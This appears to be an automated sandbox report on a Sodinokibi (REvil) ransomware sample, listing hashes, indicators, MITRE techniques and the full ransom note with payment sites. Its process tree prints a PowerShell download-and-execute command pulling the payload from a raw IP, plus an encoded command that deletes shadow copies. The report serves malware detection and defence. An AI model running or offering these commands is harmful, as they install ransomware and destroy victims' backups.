sodinokibi | de741f43e0b638ccbfadfc41f6e82f8fd2c5b39d4f9f38469affb4d4960487b5

General

Target

328013aa2b767f95491e4d8e9372cc46.bat
Size

219B
MD5

8da3de41f693d26688864e6e24e5c4f0
SHA1

229f10d9481ea1c89a085e76365149ca34ca4614
SHA256

de741f43e0b638ccbfadfc41f6e82f8fd2c5b39d4f9f38469affb4d4960487b5
SHA512

70d2cb7f7cb47c2b9111d548b4f405ea7b5e95ced055d64e25190200487e174f36f2fe86aaa86c4778c2f6f3c8d10e05ba6a55b808437b2d180a4cee67240386

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/328013aa2b767f95491e4d8e9372cc46

Extracted

Path

C:\ow20ox3utq-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension ow20ox3utq. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F8CAEF7359F44750 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/F8CAEF7359F44750 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: M0wVlqBuENoJH/YI5GkO+qNzEQPkORJCJKrrjCKJYpL6ky17Dz7XIeJPoRXmWl9e 2rDV/B6sHfz4MI3dAIjuJ7Sa+7s0b0sKQhjM7S7s+6dzzjv9bVsnrLvmymJFtcau JFR9aBvnzFcJ70diStSGHNddsYwr8xS97lZ6/iPf4qOLPLKPNOF8YgBGtHtpYoui 4u11JbOJofFH8mgMPQRXa17KD0WXSJUM8pDtxXozie1Loi8tgU5Oynybw9Z37cT7 R21uw8EbqYgE1N+fOt5TC7rHOM9n6yiTX8XPjUN3VcaOsk8Fb9NszdJ4iHAqD4dr gFs2Dqa1hfBdSu1FjFAIuHy3qdmjyRGFIhqSd7FDPXM8J0xHbUBbxz7oDSjrKvlz j+JSqrIuyLI9cofLnAtN6PHDHMTJzRBcswnhz4rpZQdCDYBOezOjog7skdz20oks cJ/Fb02MIYVeW+DEechsC1MkMcg1k/3Rswrruowt9GIiTrrPduyELjU+YzxVOvLA P3oYPmtOHru7Wcf5CnY56QPltpECXhjNR7giwDUH7PbTyWH5thAxYaC/mwFSgjHL ht/EBYET0UvIE1TxIO2g7MYBZt2Qh2zqjsKd7pzGPRPhKGtIvgZ7I+e20krIWeHl Sopdvlc7L+sMRiHO259ekz6nB5D7iuJMo5maXQar1OyN/5/Lc5sz9SqshGi8Z6M5 c+kQR1bLATwYo0Bod+Ev207RHNJemJkGqwlYZuMCHUI4A3PSN/cIh/RuQ45H6xxT YxI3SEEusY4U/yeKT9Yf/6pC3luwAnmByqX7QzlxdvfyZY2LRBRhQtQTMycI8Wtj 2mNYkPL4iXtw+CTD0Yw8TCgQzHXkW3liqS8vaA+Y+x1GsgfTWrqB72jYdYcDyLmf H+TFm8RY8NDf6jftNxvO6aty4v0iCBn2m0kedRfWGElwnEsibUDsp0YLwxVsGc3i YNFNRmdd3uxxtCYDMiMNK3Bbod4ugLTxgSzoxONIonEut80NX1RJFvTdPIG7KTHF WuCNaNWKWR1tx9pT7BH5Y/y1J2WeaOr2yWGoKChvFGwbnQbz+Udunq0olPdVB4mW HQqU/Nr72y1be/jykt4b3Rs1RNQwjrapGzy7QNKXK3pEwq2DR0iW9iAQjgzZIJ1t bA1jAk49SUYIm7DEFCL1dJz6qqSi/3XgwuVQqKMzMzONKdhL5VxBTzvB7dsfYSCn ukm7G/610o/YIt3fTTMP2b6ly+rGUSZro4Fr5adFsB6oEGphFjHEyX+4y3dPxA8D ZLoAydNtTnP/xI1piZXhSrlbAlMQNBRZfnCEPcU/zwJq6LMt3GkkVg== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F8CAEF7359F44750

http://decryptor.cc/F8CAEF7359F44750

Signatures

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1068	powershell.exe
Token: SeDebugPrivilege	1068	powershell.exe
Token: SeDebugPrivilege	1780	powershell.exe
Token: SeBackupPrivilege	1584	vssvc.exe
Token: SeRestorePrivilege	1584	vssvc.exe
Token: SeAuditPrivilege	1584	vssvc.exe
Token: SeTakeOwnershipPrivilege	1068	powershell.exe

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

2 1068 powershell.exe

flow	pid	process
2	1068	powershell.exe

Drops file in Program Files directory 27 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\EnableStep.iso	powershell.exe
File opened for modification	\??\c:\program files\ResumeStop.ADTS	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\ow20ox3utq-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\SubmitDismount.mpp	powershell.exe
File opened for modification	\??\c:\program files\InstallRegister.dib	powershell.exe
File opened for modification	\??\c:\program files\MountImport.mid	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\ow20ox3utq-readme.txt	powershell.exe
File created	\??\c:\program files\ow20ox3utq-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\FormatUnlock.eps	powershell.exe
File opened for modification	\??\c:\program files\HidePublish.WTV	powershell.exe
File opened for modification	\??\c:\program files\ResumeUse.wma	powershell.exe
File opened for modification	\??\c:\program files\SetUnprotect.rtf	powershell.exe
File opened for modification	\??\c:\program files\BlockMount.vsd	powershell.exe
File opened for modification	\??\c:\program files\RevokeExpand.asx	powershell.exe
File opened for modification	\??\c:\program files\AssertGroup.pot	powershell.exe
File opened for modification	\??\c:\program files\FindConvertFrom.wmx	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\ow20ox3utq-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ConvertPop.mpg	powershell.exe
File opened for modification	\??\c:\program files\ProtectConvert.ADTS	powershell.exe
File opened for modification	\??\c:\program files\TestRestore.dotm	powershell.exe
File opened for modification	\??\c:\program files\UnprotectDisable.wmf	powershell.exe
File opened for modification	\??\c:\program files\FormatSkip.emz	powershell.exe
File opened for modification	\??\c:\program files\LockClose.wmf	powershell.exe
File opened for modification	\??\c:\program files\SubmitPush.svgz	powershell.exe
File created	\??\c:\program files (x86)\ow20ox3utq-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ConfirmSubmit.mpeg	powershell.exe
File opened for modification	\??\c:\program files\TestCompress.jpeg	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\8rn54i7917b6.bmp"	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1068 powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 376 wrote to memory of 1068	376	cmd.exe	powershell.exe
PID 1068 wrote to memory of 1780	1068	powershell.exe	powershell.exe
PID 1068 wrote to memory of 1780	1068	powershell.exe	powershell.exe
PID 1068 wrote to memory of 1780	1068	powershell.exe	powershell.exe
PID 1068 wrote to memory of 1780	1068	powershell.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 77 IoCs

Processes:

powershell.exepowershell.exe

pid	process
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1780	powershell.exe
1780	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\328013aa2b767f95491e4d8e9372cc46.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:376

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/328013aa2b767f95491e4d8e9372cc46');Invoke-AATPTEWMZPXK;Start-Sleep -s 10000"
2⤵
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Drops file in Program Files directory
- Sets desktop wallpaper using registry
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
PID:1068

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1780

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:1584

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads